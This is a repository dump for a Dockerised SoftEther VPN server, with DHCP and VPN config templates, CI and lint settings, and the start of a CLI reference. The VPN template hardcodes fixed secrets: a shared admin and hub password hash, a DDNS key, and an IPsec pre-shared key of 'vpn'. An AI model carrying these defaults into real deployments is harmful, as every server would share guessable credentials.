├── .docker
└── hostfs
│ └── etc
│ └── template
│ ├── dnsmasq.conf.tmpl
│ └── vpn_server.config.tmpl
├── .dockerignore
├── .editorconfig
├── .gitignore
├── .gitlab-ci.yml
├── .golangci.yml
├── .rgignore
├── CLI.md
├── Dockerfile
├── Dockerfile-stable
├── Dockerfile-ubuntu
├── README.md
├── Taskfile.yml
├── docker-compose.yml
├── go.mod
├── go.sum
├── main.go
├── pipe
├── constants.go
├── context.go
├── flags.go
├── health.go
├── interfaces.go
├── pipe.go
├── services.go
├── tasks.go
└── terminate.go
├── renovate.json
└── version.go
/.docker/hostfs/etc/template/dnsmasq.conf.tmpl:
--------------------------------------------------------------------------------
1 | # Autogenerated configuration file for DNSMASQ DHCP Server
2 |
3 | port=0
4 | interface={{ .TapInterface }}
5 | dhcp-range={{ .TapInterface }},{{ .RangeStartAddress }},{{ .RangeEndAddress }},{{ .RangeNetmask }},{{ .LeaseTime }}
6 |
7 | {{- if .Gateway }}
8 | dhcp-option={{ .TapInterface }},3,{{ .Gateway }}
9 | {{- end }}
10 | {{- if .ForwardingZone }}
11 | dhcp-option={{ .TapInterface }},6{{ range $key, $value := .ForwardingZone }},{{ $value }}{{ end }}
12 | {{- end }}
13 |
14 | conf-dir=/etc/dnsmasq.d
15 |
--------------------------------------------------------------------------------
/.docker/hostfs/etc/template/vpn_server.config.tmpl:
--------------------------------------------------------------------------------
1 | # Autogenerated configuration file for SoftEtherVPN Server
2 | # Software Configuration File
3 | # ---------------------------
4 | #
5 | # You may edit this file when the VPN Server / Client / Bridge program is not running.
6 | #
7 | # In prior to edit this file manually by your text editor,
8 | # shutdown the VPN Server / Client / Bridge background service.
9 | # Otherwise, all changes will be lost.
10 | #
11 | declare root
12 | {
13 | uint ConfigRevision 1
14 | bool IPsecMessageDisplayed false
15 | string Region
16 |
17 | declare DDnsClient
18 | {
19 | string CustomHttpHeader $
20 | bool Disabled false
21 | byte Key QqvLEUWFcyLQ4INTuxyqOMrzzhc=
22 | string LocalHostname
23 | string ProxyHostName $
24 | uint ProxyPort 0
25 | uint ProxyType 0
26 | string ProxyUsername $
27 | }
28 | declare IPsec
29 | {
30 | bool EtherIP_IPsec false
31 | string IPsec_Secret vpn
32 | string L2TP_DefaultHub {{ .DefaultHub }}
33 | bool L2TP_IPsec false
34 | bool L2TP_Raw false
35 |
36 | declare EtherIP_IDSettingsList
37 | {
38 | }
39 | }
40 | declare ListenerList
41 | {
42 | declare Listener0
43 | {
44 | bool DisableDos false
45 | bool Enabled true
46 | uint Port 1443
47 | }
48 | declare Listener1
49 | {
50 | bool DisableDos false
51 | bool Enabled true
52 | uint Port 992
53 | }
54 | declare Listener2
55 | {
56 | bool DisableDos false
57 | bool Enabled true
58 | uint Port 1194
59 | }
60 | declare Listener3
61 | {
62 | bool DisableDos false
63 | bool Enabled true
64 | uint Port 5555
65 | }
66 | }
67 | declare LocalBridgeList
68 | {
69 | bool DoNotDisableOffloading false
70 |
71 | declare LocalBridge0
72 | {
73 | string DeviceName {{ .Interface }}
74 | string HubName {{ .DefaultHub }}
75 | bool LimitBroadcast false
76 | bool MonitorMode false
77 | bool NoPromiscuousMode false
78 | string TapMacAddress
79 | bool TapMode true
80 | }
81 | }
82 | declare ServerConfiguration
83 | {
84 | uint64 AutoDeleteCheckDiskFreeSpaceMin 104857600
85 | uint AutoDeleteCheckIntervalSecs 300
86 | uint AutoSaveConfigSpan 300
87 | bool BackupConfigOnlyWhenModified true
88 | string CipherName ~DEFAULT~
89 | uint CurrentBuild 9672
90 | uint DhParamBits 2048
91 | bool DisableCoreDumpOnUnix false
92 | bool DisableDeadLockCheck false
93 | bool DisableDosProtection false
94 | bool DisableGetHostNameWhenAcceptTcp false
95 | bool DisableIPsecAggressiveMode false
96 | bool DisableIPv6Listener false
97 | bool DisableJsonRpcWebApi false
98 | bool DisableNatTraversal false
99 | bool DisableOpenVPNServer false
100 | bool DisableSessionReconnect false
101 | bool DisableSSTPServer false
102 | bool DontBackupConfig false
103 | bool EnableVpnAzure false
104 | bool EnableVpnOverDns false
105 | bool EnableVpnOverIcmp false
106 | byte HashedPassword +WzqGYrR3VYXrAhKPZLGEHcIwO8=
107 | string KeepConnectHost keepalive.softether.org
108 | uint KeepConnectInterval 50
109 | uint KeepConnectPort 80
110 | uint KeepConnectProtocol 1
111 | string ListenIP 0.0.0.0
112 | uint64 LoggerMaxLogSize 1073741823
113 | uint MaxConcurrentDnsClientThreads 512
114 | uint MaxConnectionsPerIP 256
115 | uint MaxUnestablishedConnections 1000
116 | bool NoHighPriorityProcess false
117 | bool NoLinuxArpFilter false
118 | bool NoSendSignature false
119 | string OpenVPNDefaultClientOption dev-type$20tun,link-mtu$201500,tun-mtu$201200,cipher$20AES-128-CBC,auth$20SHA1,keysize$20128,key-method$202,tls-client
120 | bool OpenVPNObfuscation false
121 | string OpenVPNObfuscationMask $
122 | bool OpenVPNPushDummyIPv4AddressOnL2Mode true
123 | string PortsUDP 1194
124 | bool SaveDebugLog false
125 | byte ServerCert
126 | byte ServerKey
127 | uint ServerLogSwitchType 4
128 | uint ServerType 0
129 | bool StrictSyslogDatetimeFormat false
130 | bool Tls_Disable1_0 false
131 | bool Tls_Disable1_1 false
132 | bool Tls_Disable1_2 false
133 | bool UseKeepConnect true
134 | string UsernameHubSeparator @
135 | bool UseWebTimePage false
136 | bool UseWebUI false
137 |
138 | declare GlobalParams
139 | {
140 | uint FIFO_BUDGET 10240000
141 | uint HUB_ARP_SEND_INTERVAL 5000
142 | uint IP_TABLE_EXPIRE_TIME 60000
143 | uint IP_TABLE_EXPIRE_TIME_DHCP 300000
144 | uint MAC_TABLE_EXPIRE_TIME 600000
145 | uint MAX_BUFFERING_PACKET_SIZE 2560000
146 | uint MAX_HUB_LINKS 1024
147 | uint MAX_IP_TABLES 65536
148 | uint MAX_MAC_TABLES 65536
149 | uint MAX_SEND_SOCKET_QUEUE_NUM 128
150 | uint MAX_SEND_SOCKET_QUEUE_SIZE 2560000
151 | uint MAX_STORED_QUEUE_NUM 1024
152 | uint MEM_FIFO_REALLOC_MEM_SIZE 655360
153 | uint MIN_SEND_SOCKET_QUEUE_SIZE 320000
154 | uint QUEUE_BUDGET 2048
155 | uint SELECT_TIME 256
156 | uint SELECT_TIME_FOR_NAT 30
157 | uint STORM_CHECK_SPAN 500
158 | uint STORM_DISCARD_VALUE_END 1024
159 | uint STORM_DISCARD_VALUE_START 3
160 | }
161 | declare ServerTraffic
162 | {
163 | declare RecvTraffic
164 | {
165 | uint64 BroadcastBytes 0
166 | uint64 BroadcastCount 0
167 | uint64 UnicastBytes 0
168 | uint64 UnicastCount 0
169 | }
170 | declare SendTraffic
171 | {
172 | uint64 BroadcastBytes 0
173 | uint64 BroadcastCount 0
174 | uint64 UnicastBytes 0
175 | uint64 UnicastCount 0
176 | }
177 | }
178 | declare SyslogSettings
179 | {
180 | string HostName $
181 | uint Port 0
182 | uint SaveType 0
183 | }
184 | }
185 | declare VirtualHUB
186 | {
187 | declare {{ .DefaultHub }}
188 | {
189 | uint64 CreatedTime 1585366080783
190 | byte HashedPassword +WzqGYrR3VYXrAhKPZLGEHcIwO8=
191 | uint64 LastCommTime 1585366080782
192 | uint64 LastLoginTime 1585366080782
193 | uint NumLogin 0
194 | bool Online true
195 | bool RadiusConvertAllMsChapv2AuthRequestToEap false
196 | string RadiusRealm $
197 | uint RadiusRetryInterval 0
198 | uint RadiusServerPort 1812
199 | string RadiusSuffixFilter $
200 | bool RadiusUsePeapInsteadOfEap false
201 | byte SecurePassword bpw3X/O5E8a6G6ccnl4uXmDtkwI=
202 | uint Type 0
203 |
204 | declare AccessList
205 | {
206 | }
207 | declare AdminOption
208 | {
209 | uint allow_hub_admin_change_option 0
210 | uint deny_bridge 0
211 | uint deny_change_user_password 0
212 | uint deny_empty_password 0
213 | uint deny_hub_admin_change_ext_option 0
214 | uint deny_qos 0
215 | uint deny_routing 0
216 | uint max_accesslists 0
217 | uint max_bitrates_download 0
218 | uint max_bitrates_upload 0
219 | uint max_groups 0
220 | uint max_multilogins_per_user 0
221 | uint max_sessions 0
222 | uint max_sessions_bridge 0
223 | uint max_sessions_client 0
224 | uint max_sessions_client_bridge_apply 0
225 | uint max_users 0
226 | uint no_access_list_include_file 0
227 | uint no_cascade 0
228 | uint no_change_access_control_list 0
229 | uint no_change_access_list 0
230 | uint no_change_admin_password 0
231 | uint no_change_cert_list 0
232 | uint no_change_crl_list 0
233 | uint no_change_groups 0
234 | uint no_change_log_config 0
235 | uint no_change_log_switch_type 0
236 | uint no_change_msg 0
237 | uint no_change_users 0
238 | uint no_delay_jitter_packet_loss 0
239 | uint no_delete_iptable 0
240 | uint no_delete_mactable 0
241 | uint no_disconnect_session 0
242 | uint no_enum_session 0
243 | uint no_offline 0
244 | uint no_online 0
245 | uint no_query_session 0
246 | uint no_read_log_file 0
247 | uint no_securenat 0
248 | uint no_securenat_enabledhcp 0
249 | uint no_securenat_enablenat 0
250 | }
251 | declare CascadeList
252 | {
253 | }
254 | declare LogSetting
255 | {
256 | uint PacketLogSwitchType 4
257 | uint PACKET_LOG_ARP 0
258 | uint PACKET_LOG_DHCP 1
259 | uint PACKET_LOG_ETHERNET 0
260 | uint PACKET_LOG_ICMP 0
261 | uint PACKET_LOG_IP 0
262 | uint PACKET_LOG_TCP 0
263 | uint PACKET_LOG_TCP_CONN 1
264 | uint PACKET_LOG_UDP 0
265 | bool SavePacketLog false
266 | bool SaveSecurityLog false
267 | uint SecurityLogSwitchType 4
268 | }
269 | declare Message
270 | {
271 | }
272 | declare Option
273 | {
274 | uint AccessListIncludeFileCacheLifetime 30
275 | uint AdjustTcpMssValue 0
276 | bool ApplyIPv4AccessListOnArpPacket false
277 | bool AssignVLanIdByRadiusAttribute false
278 | bool BroadcastLimiterStrictMode false
279 | uint BroadcastStormDetectionThreshold 0
280 | uint ClientMinimumRequiredBuild 0
281 | bool DenyAllRadiusLoginWithNoVlanAssign false
282 | uint DetectDormantSessionInterval 0
283 | bool DisableAdjustTcpMss false
284 | bool DisableCheckMacOnLocalBridge false
285 | bool DisableCorrectIpOffloadChecksum false
286 | bool DisableHttpParsing false
287 | bool DisableIPParsing false
288 | bool DisableIpRawModeSecureNAT true
289 | bool DisableKernelModeSecureNAT true
290 | bool DisableUdpAcceleration false
291 | bool DisableUdpFilterForLocalBridgeNic false
292 | bool DisableUserModeSecureNAT false
293 | bool DoNotSaveHeavySecurityLogs false
294 | bool DropArpInPrivacyFilterMode true
295 | bool DropBroadcastsInPrivacyFilterMode true
296 | bool FilterBPDU false
297 | bool FilterIPv4 false
298 | bool FilterIPv6 false
299 | bool FilterNonIP false
300 | bool FilterOSPF false
301 | bool FilterPPPoE false
302 | uint FloodingSendQueueBufferQuota 33554432
303 | bool ManageOnlyLocalUnicastIPv6 true
304 | bool ManageOnlyPrivateIP true
305 | uint MaxLoggedPacketsPerMinute 0
306 | uint MaxSession 0
307 | bool NoArpPolling false
308 | bool NoDhcpPacketLogOutsideHub true
309 | bool NoEnum false
310 | bool NoIpTable false
311 | bool NoIPv4PacketLog false
312 | bool NoIPv6AddrPolling false
313 | bool NoIPv6DefaultRouterInRAWhenIPv6 true
314 | bool NoIPv6PacketLog false
315 | bool NoLookBPDUBridgeId false
316 | bool NoMacAddressLog true
317 | bool NoManageVlanId false
318 | bool NoPhysicalIPOnPacketLog false
319 | bool NoSpinLockForPacketDelay false
320 | bool RemoveDefGwOnDhcpForLocalhost true
321 | uint RequiredClientId 0
322 | uint SecureNAT_MaxDnsSessionsPerIp 0
323 | uint SecureNAT_MaxIcmpSessionsPerIp 0
324 | uint SecureNAT_MaxTcpSessionsPerIp 0
325 | uint SecureNAT_MaxTcpSynSentPerIp 0
326 | uint SecureNAT_MaxUdpSessionsPerIp 0
327 | bool SecureNAT_RandomizeAssignIp false
328 | bool SuppressClientUpdateNotification false
329 | bool UseHubNameAsDhcpUserClassOption false
330 | bool UseHubNameAsRadiusNasId false
331 | string VlanTypeId 0x8100
332 | bool YieldAfterStorePacket false
333 | }
334 | declare SecureNAT
335 | {
336 | bool Disabled true
337 | bool SaveLog false
338 |
339 | declare VirtualDhcpServer
340 | {
341 | string DhcpDnsServerAddress 192.168.30.1
342 | string DhcpDnsServerAddress2 0.0.0.0
343 | string DhcpDomainName $
344 | bool DhcpEnabled true
345 | uint DhcpExpireTimeSpan 7200
346 | string DhcpGatewayAddress 192.168.30.1
347 | string DhcpLeaseIPEnd 192.168.30.200
348 | string DhcpLeaseIPStart 192.168.30.10
349 | string DhcpPushRoutes $
350 | string DhcpSubnetMask 255.255.255.0
351 | }
352 | declare VirtualHost
353 | {
354 | string VirtualHostIp 192.168.30.1
355 | string VirtualHostIpSubnetMask 255.255.255.0
356 | string VirtualHostMacAddress 5E-71-EE-23-A4-ED
357 | }
358 | declare VirtualRouter
359 | {
360 | bool NatEnabled true
361 | uint NatMtu 1500
362 | uint NatTcpTimeout 1800
363 | uint NatUdpTimeout 60
364 | }
365 | }
366 | declare SecurityAccountDatabase
367 | {
368 | declare CertList
369 | {
370 | }
371 | declare CrlList
372 | {
373 | }
374 | declare GroupList
375 | {
376 | }
377 | declare IPAccessControlList
378 | {
379 | }
380 | declare UserList
381 | {
382 | }
383 | }
384 | declare Traffic
385 | {
386 | declare RecvTraffic
387 | {
388 | uint64 BroadcastBytes 0
389 | uint64 BroadcastCount 0
390 | uint64 UnicastBytes 0
391 | uint64 UnicastCount 0
392 | }
393 | declare SendTraffic
394 | {
395 | uint64 BroadcastBytes 0
396 | uint64 BroadcastCount 0
397 | uint64 UnicastBytes 0
398 | uint64 UnicastCount 0
399 | }
400 | }
401 | }
402 | }
403 | declare VirtualLayer3SwitchList
404 | {
405 | }
406 | }
407 |
--------------------------------------------------------------------------------
/.dockerignore:
--------------------------------------------------------------------------------
1 | **
2 | !dist/
3 | !.docker/
4 | !.tags
5 |
--------------------------------------------------------------------------------
/.editorconfig:
--------------------------------------------------------------------------------
1 | root = true
2 |
3 | [*]
4 | indent_style = space
5 | indent_size = 2
6 | end_of_line = lf
7 | insert_final_newline = true
8 | charset = utf-8
9 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | /logs
2 | /volumes
3 | /cfg
4 | .env
5 | .tags
6 |
7 | # create by https://github.com/iamcco/coc-gitignore (Sun May 29 2022 19:48:36 GMT+0200 (Central European Summer Time))
8 | # Go.gitignore:
9 | # Binaries for programs and plugins
10 | *.exe
11 | *.exe~
12 | *.dll
13 | *.so
14 | *.dylib
15 |
16 | # Test binary, built with `go test -c`
17 | *.test
18 |
19 | # Output of the go coverage tool, specifically when used with LiteIDE
20 | *.out
21 |
22 | # Dependency directories (remove the comment below to include it)
23 | # vendor/
24 |
25 | # Go.patch:
26 | /vendor/
27 | /Godeps/
28 |
29 | /dist
30 | /.task
31 |
--------------------------------------------------------------------------------
/.gitlab-ci.yml:
--------------------------------------------------------------------------------
1 | ---
2 | stages:
3 | - install
4 | - build
5 | - track
6 | - docker
7 | - post
8 |
9 | variables:
10 | GO_VERSION: 1.23-alpine
11 | DOCKER_IMAGE_NAME: cenk1cenk2/softether-vpnsrv
12 |
13 | include:
14 | - project: devops/pipes
15 | file: /templates/go.gitlab-ci.yml
16 |
17 | - project: devops/pipes
18 | file: /templates/v2/gh-release-tracker.gitlab-ci.yml
19 |
20 | - project: devops/pipes
21 | file: /templates/v2/docker-build-dockerhub.gitlab-ci.yml
22 |
23 | - project: devops/pipes
24 | file: /templates/v2/docker-manifest-dockerhub.gitlab-ci.yml
25 |
26 | - project: devops/pipes
27 | file: /templates/v2/update-docker-hub-readme.gitlab-ci.yml
28 |
29 | gh-release-tracker:
30 | stage: track
31 | extends: .gh-release-tracker
32 | variables:
33 | TAGS_FILE: .tags
34 | GH_REPOSITORY: SoftEtherVPN/SoftEtherVPN
35 | only:
36 | refs:
37 | - schedules
38 | - master
39 |
40 | docker-build:
41 | stage: docker
42 | extends: .docker-build-dockerhub
43 | parallel:
44 | matrix:
45 | #- DOCKERFILE_NAME: Dockerfile-stable
46 | # TAGS_FILE: '.tags'
47 | - DOCKERFILE_NAME: Dockerfile
48 | DOCKER_IMAGE_TAGS: latest-${GITLAB_CI_ARCH}
49 | DOCKER_MANIFEST_TARGET: latest
50 | GITLAB_CI_ARCH:
51 | - amd64
52 | - arm64
53 | - DOCKERFILE_NAME: Dockerfile-ubuntu
54 | DOCKER_IMAGE_TAGS: latest-ubuntu-${GITLAB_CI_ARCH}
55 | DOCKER_MANIFEST_TARGET: latest-ubuntu
56 | GITLAB_CI_ARCH:
57 | - amd64
58 | - arm64
59 | dependencies:
60 | - build
61 | only:
62 | refs:
63 | - schedules
64 | - master
65 |
66 | docker-manifest:
67 | stage: post
68 | extends: .docker-manifest-dockerhub
69 | dependencies:
70 | - docker-build
71 | only:
72 | refs:
73 | - schedules
74 | - master
75 |
76 | update-docker-hub-readme:
77 | stage: post
78 | extends: .update-docker-hub-readme
79 | variables:
80 | README_DESCRIPTION: |
81 | SoftEther VPN server in a container with pre-configured setup for networking.
82 | dependencies: []
83 | only:
84 | refs:
85 | - schedules
86 | - master
87 |
--------------------------------------------------------------------------------
/.golangci.yml:
--------------------------------------------------------------------------------
1 | ## Golden config for golangci-lint v1.48.0
2 | #
3 | # This is the best config for golangci-lint based on my experience and opinion.
4 | # It is very strict, but not extremely strict.
5 | # Feel free to adopt and change it for your needs.
6 |
7 | run:
8 | # Timeout for analysis, e.g. 30s, 5m.
9 | # Default: 1m
10 | timeout: 3m
11 |
12 | # This file contains only configs which differ from defaults.
13 | # All possible options can be found here https://github.com/golangci/golangci-lint/blob/master/.golangci.reference.yml
14 | linters-settings:
15 | cyclop:
16 | # The maximal code complexity to report.
17 | # Default: 10
18 | max-complexity: 30
19 | # The maximal average package complexity.
20 | # If it's higher than 0.0 (float) the check is enabled
21 | # Default: 0.0
22 | package-average: 10.0
23 |
24 | errcheck:
25 | # Report about not checking of errors in type assertions: `a := b.(MyStruct)`.
26 | # Such cases aren't reported by default.
27 | # Default: false
28 | check-type-assertions: true
29 |
30 | funlen:
31 | # Checks the number of lines in a function.
32 | # If lower than 0, disable the check.
33 | # Default: 60
34 | lines: -1
35 | # Checks the number of statements in a function.
36 | # If lower than 0, disable the check.
37 | # Default: 40
38 | statements: 50
39 |
40 | gocognit:
41 | # Minimal code complexity to report
42 | # Default: 30 (but we recommend 10-20)
43 | min-complexity: 20
44 |
45 | gocritic:
46 | # Settings passed to gocritic.
47 | # The settings key is the name of a supported gocritic checker.
48 | # The list of supported checkers can be find in https://go-critic.github.io/overview.
49 | settings:
50 | captLocal:
51 | # Whether to restrict checker to params only.
52 | # Default: true
53 | paramsOnly: false
54 | underef:
55 | # Whether to skip (*x).method() calls where x is a pointer receiver.
56 | # Default: true
57 | skipRecvDeref: false
58 |
59 | gomnd:
60 | # List of function patterns to exclude from analysis.
61 | # Values always ignored: `time.Date`
62 | # Default: []
63 | ignored-functions:
64 | - os.Chmod
65 | - os.Mkdir
66 | - os.MkdirAll
67 | - os.OpenFile
68 | - os.WriteFile
69 | - prometheus.ExponentialBuckets
70 | - prometheus.ExponentialBucketsRange
71 | - prometheus.LinearBuckets
72 | - strconv.FormatFloat
73 | - strconv.FormatInt
74 | - strconv.FormatUint
75 | - strconv.ParseFloat
76 | - strconv.ParseInt
77 | - strconv.ParseUint
78 |
79 | gomodguard:
80 | blocked:
81 | # List of blocked modules.
82 | # Default: []
83 | modules:
84 | - github.com/golang/protobuf:
85 | recommendations:
86 | - google.golang.org/protobuf
87 | reason: "see https://developers.google.com/protocol-buffers/docs/reference/go/faq#modules"
88 | - github.com/satori/go.uuid:
89 | recommendations:
90 | - github.com/google/uuid
91 | reason: "satori's package is not maintained"
92 | - github.com/gofrs/uuid:
93 | recommendations:
94 | - github.com/google/uuid
95 | reason: "see recommendation from dev-infra team: https://confluence.gtforge.com/x/gQI6Aw"
96 |
97 | govet:
98 | # Enable all analyzers.
99 | # Default: false
100 | enable-all: true
101 | check-shadowing: false
102 | # Disable analyzers by name.
103 | # Run `go tool vet help` to see all analyzers.
104 | # Default: []
105 | disable:
106 | - fieldalignment # too strict
107 | - shadow
108 | # Settings per analyzer.
109 | # settings:
110 | # shadow:
111 | # # Whether to be strict about shadowing; can be noisy.
112 | # # Default: false
113 | # strict: false
114 |
115 | nakedret:
116 | # Make an issue if func has more lines of code than this setting, and it has naked returns.
117 | # Default: 30
118 | max-func-lines: 0
119 |
120 | nolintlint:
121 | # Exclude following linters from requiring an explanation.
122 | # Default: []
123 | allow-no-explanation: [funlen, gocognit, lll]
124 | # Enable to require an explanation of nonzero length after each nolint directive.
125 | # Default: false
126 | require-explanation: true
127 | # Enable to require nolint directives to mention the specific linter being suppressed.
128 | # Default: false
129 | require-specific: true
130 |
131 | revive:
132 | ignore-generated-header: true
133 | severity: warning
134 | confidence: 0.8
135 | rules:
136 | - name: line-length-limit
137 | severity: error
138 | arguments: [180]
139 | - name: time-equal
140 | - name: time-naming
141 | - name: var-declaration
142 | - name: unexported-return
143 | severity: error
144 | - name: blank-imports
145 | - name: errorf
146 | severity: error
147 | - name: error-return
148 | - name: if-return
149 | severity: error
150 | - name: increment-decrement
151 | - name: range
152 | - name: indent-error-flow
153 | - name: empty-block
154 | - name: superfluous-else
155 | # - name: confusing-naming
156 | - name: modifies-parameter
157 | - name: confusing-results
158 | # - name: deep-exit
159 | - name: unused-parameter
160 | - name: unreachable-code
161 | - name: atomic
162 | - name: empty-lines
163 | - name: duplicated-imports
164 | - name: import-shadowing
165 | - name: unhandled-error
166 | - name: early-return
167 | - name: defer
168 | - name: identical-branches
169 | - name: useless-break
170 |
171 | rowserrcheck:
172 | # database/sql is always checked
173 | # Default: []
174 | packages:
175 | - github.com/jmoiron/sqlx
176 |
177 | tenv:
178 | # The option `all` will run against whole test files (`_test.go`) regardless of method/function signatures.
179 | # Otherwise, only methods that take `*testing.T`, `*testing.B`, and `testing.TB` as arguments are checked.
180 | # Default: false
181 | all: true
182 |
183 | varcheck:
184 | # Check usage of exported fields and variables.
185 | # Default: false
186 | exported-fields: false # default false # TODO: enable after fixing false positives
187 |
188 | linters:
189 | disable-all: true
190 | enable:
191 | ## enabled by default
192 | # - deadcode # Finds unused code
193 | - errcheck # Errcheck is a program for checking for unchecked errors in go programs. These unchecked errors can be critical bugs in some cases
194 | - gosimple # Linter for Go source code that specializes in simplifying a code
195 | - govet # Vet examines Go source code and reports suspicious constructs, such as Printf calls whose arguments do not align with the format string
196 | - ineffassign # Detects when assignments to existing variables are not used
197 | - staticcheck # Staticcheck is a go vet on steroids, applying a ton of static analysis checks
198 | # - structcheck # Finds unused struct fields
199 | - typecheck # Like the front-end of a Go compiler, parses and type-checks Go code
200 | - unused # Checks Go code for unused constants, variables, functions and types
201 | # - varcheck # Finds unused global variables and constants
202 | ## disabled by default
203 | - asasalint # Check for pass []any as any in variadic func(...any)
204 | - asciicheck # Simple linter to check that your code does not contain non-ASCII identifiers
205 | - bidichk # Checks for dangerous unicode character sequences
206 | - bodyclose # checks whether HTTP response body is closed successfully
207 | - contextcheck # check the function whether use a non-inherited context
208 | - cyclop # checks function and package cyclomatic complexity
209 | - dupl # Tool for code clone detection
210 | - durationcheck # check for two durations multiplied together
211 | - errname # Checks that sentinel errors are prefixed with the Err and error types are suffixed with the Error.
212 | - errorlint # errorlint is a linter for that can be used to find code that will cause problems with the error wrapping scheme introduced in Go 1.13.
213 | - execinquery # execinquery is a linter about query string checker in Query function which reads your Go src files and warning it finds
214 | - exhaustive # check exhaustiveness of enum switch statements
215 | - exportloopref # checks for pointers to enclosing loop variables
216 | # - forbidigo # Forbids identifiers
217 | - funlen # Tool for detection of long functions
218 | # - gochecknoglobals # check that no global variables exist
219 | - gochecknoinits # Checks that no init functions are present in Go code
220 | # - gocognit # Computes and checks the cognitive complexity of functions
221 | - goconst # Finds repeated strings that could be replaced by a constant
222 | # - gocritic # Provides diagnostics that check for bugs, performance and style issues.
223 | - gocyclo # Computes and checks the cyclomatic complexity of functions
224 | - godot # Check if comments end in a period
225 | - goimports # In addition to fixing imports, goimports also formats your code in the same style as gofmt.
226 | # - gomnd # An analyzer to detect magic numbers.
227 | - gomoddirectives # Manage the use of 'replace', 'retract', and 'excludes' directives in go.mod.
228 | - gomodguard # Allow and block list linter for direct Go module dependencies. This is different from depguard where there are different block types for example version constraints and module recommendations.
229 | - goprintffuncname # Checks that printf-like functions are named with f at the end
230 | - gosec # Inspects source code for security problems
231 | # - lll # Reports long lines
232 | - makezero # Finds slice declarations with non-zero initial length
233 | - nakedret # Finds naked returns in functions greater than a specified function length
234 | - nestif # Reports deeply nested if statements
235 | - nilerr # Finds the code that returns nil even if it checks that the error is not nil.
236 | - nilnil # Checks that there is no simultaneous return of nil error and an invalid value.
237 | # - noctx # noctx finds sending http request without context.Context
238 | # - nolintlint # Reports ill-formed or insufficient nolint directives
239 | - nonamedreturns # Reports all named returns
240 | - nosprintfhostport # Checks for misuse of Sprintf to construct a host with port in a URL.
241 | - predeclared # find code that shadows one of Go's predeclared identifiers
242 | - promlinter # Check Prometheus metrics naming via promlint
243 | - revive # Fast, configurable, extensible, flexible, and beautiful linter for Go. Drop-in replacement of golint.
244 | - rowserrcheck # checks whether Err of rows is checked successfully
245 | - sqlclosecheck # Checks that sql.Rows and sql.Stmt are closed.
246 | # - stylecheck # Stylecheck is a replacement for golint
247 | - tenv # tenv is analyzer that detects using os.Setenv instead of t.Setenv since Go1.17
248 | - testpackage # linter that makes you use a separate _test package
249 | - tparallel # tparallel detects inappropriate usage of t.Parallel() method in your Go test codes
250 | - unconvert # Remove unnecessary type conversions
251 | - unparam # Reports unused function parameters
252 | - usestdlibvars # detect the possibility to use variables/constants from the Go standard library
253 | - wastedassign # wastedassign finds wasted assignment statements.
254 | - whitespace # Tool for detection of leading and trailing whitespace
255 | ## you may want to enable
256 | #- decorder # check declaration order and count of types, constants, variables and functions
257 | #- exhaustruct # Checks if all structure fields are initialized
258 | #- goheader # Checks is file header matches to pattern
259 | #- ireturn # Accept Interfaces, Return Concrete Types
260 | #- prealloc # [premature optimization, but can be used in some cases] Finds slice declarations that could potentially be preallocated
261 | #- varnamelen # [great idea, but too many false positives] checks that the length of a variable's name matches its scope
262 | #- wrapcheck # Checks that errors returned from external packages are wrapped
263 | ## disabled
264 | #- containedctx # containedctx is a linter that detects struct contained context.Context field
265 | #- depguard # [replaced by gomodguard] Go linter that checks if package imports are in a list of acceptable packages
266 | #- dogsled # Checks assignments with too many blank identifiers (e.g. x, _, _, _, := f())
267 | #- errchkjson # [don't see profit + I'm against of omitting errors like in the first example https://github.com/breml/errchkjson] Checks types passed to the json encoding functions. Reports unsupported types and optionally reports occasions, where the check for the returned error can be omitted.
268 | #- forcetypeassert # [replaced by errcheck] finds forced type assertions
269 | #- gci # Gci controls golang package import order and makes it always deterministic.
270 | #- godox # Tool for detection of FIXME, TODO and other comment keywords
271 | #- goerr113 # [too strict] Golang linter to check the errors handling expressions
272 | #- gofmt # [replaced by goimports] Gofmt checks whether code was gofmt-ed. By default this tool runs with -s option to check for code simplification
273 | #- gofumpt # [replaced by goimports, gofumports is not available yet] Gofumpt checks whether code was gofumpt-ed.
274 | #- grouper # An analyzer to analyze expression groups.
275 | #- importas # Enforces consistent import aliases
276 | #- maintidx # maintidx measures the maintainability index of each function.
277 | #- misspell # [useless] Finds commonly misspelled English words in comments
278 | #- nlreturn # [too strict and mostly code is not more readable] nlreturn checks for a new line before return and branch statements to increase code clarity
279 | #- nosnakecase # Detects snake case of variable naming and function name. # TODO: maybe enable after https://github.com/sivchari/nosnakecase/issues/14
280 | #- paralleltest # [too many false positives] paralleltest detects missing usage of t.Parallel() method in your Go test
281 | #- tagliatelle # Checks the struct tags.
282 | #- thelper # thelper detects golang test helpers without t.Helper() call and checks the consistency of test helpers
283 | #- wsl # [too strict and mostly code is not more readable] Whitespace Linter - Forces you to use empty lines!
284 | ## deprecated
285 | #- exhaustivestruct # [deprecated, replaced by exhaustruct] Checks if all struct's fields are initialized
286 | #- golint # [deprecated, replaced by revive] Golint differs from gofmt. Gofmt reformats Go source code, whereas golint prints out style mistakes
287 | #- ifshort # [deprecated, by the owner] Checks that your code uses short syntax for if-statements whenever possible
288 | #- interfacer # [deprecated] Linter that suggests narrower interface types
289 | #- maligned # [deprecated, replaced by govet fieldalignment] Tool to detect Go structs that would take less memory if their fields were sorted
290 | #- scopelint # [deprecated, replaced by exportloopref] Scopelint checks for unpinned variables in go programs
291 |
292 | issues:
293 | # Maximum count of issues with the same text.
294 | # Set to 0 to disable.
295 | # Default: 3
296 | max-same-issues: 50
297 |
298 | exclude-rules:
299 | - source: "^//\\s*go:generate\\s"
300 | linters: [lll]
301 | - source: "(noinspection|TODO)"
302 | linters: [godot]
303 | - source: "//noinspection"
304 | linters: [gocritic]
305 | - source: "^\\s+if _, ok := err\\.\\([^.]+\\.InternalError\\); ok {"
306 | linters: [errorlint]
307 | - path: "_test\\.go"
308 | linters:
309 | - bodyclose
310 | - dupl
311 | - funlen
312 | - goconst
313 | - gosec
314 | - noctx
315 | - wrapcheck
316 |
--------------------------------------------------------------------------------
/.rgignore:
--------------------------------------------------------------------------------
1 | go.mod
2 | go.sum
3 | README.md
4 | CLI.md
5 |
--------------------------------------------------------------------------------
/CLI.md:
--------------------------------------------------------------------------------
1 | # docker-softether-vpnsrv
2 |
3 | Initiates the SoftEtherVPN server that will run in this container.
4 |
5 | `docker-softether-vpnsrv [FLAGS]`
6 |
7 | ## Flags
8 |
9 | ### CLI
10 |
11 | | Flag / Environment | Description | Type | Required | Default |
12 | |---------------- | --------------- | --------------- | --------------- | --------------- |
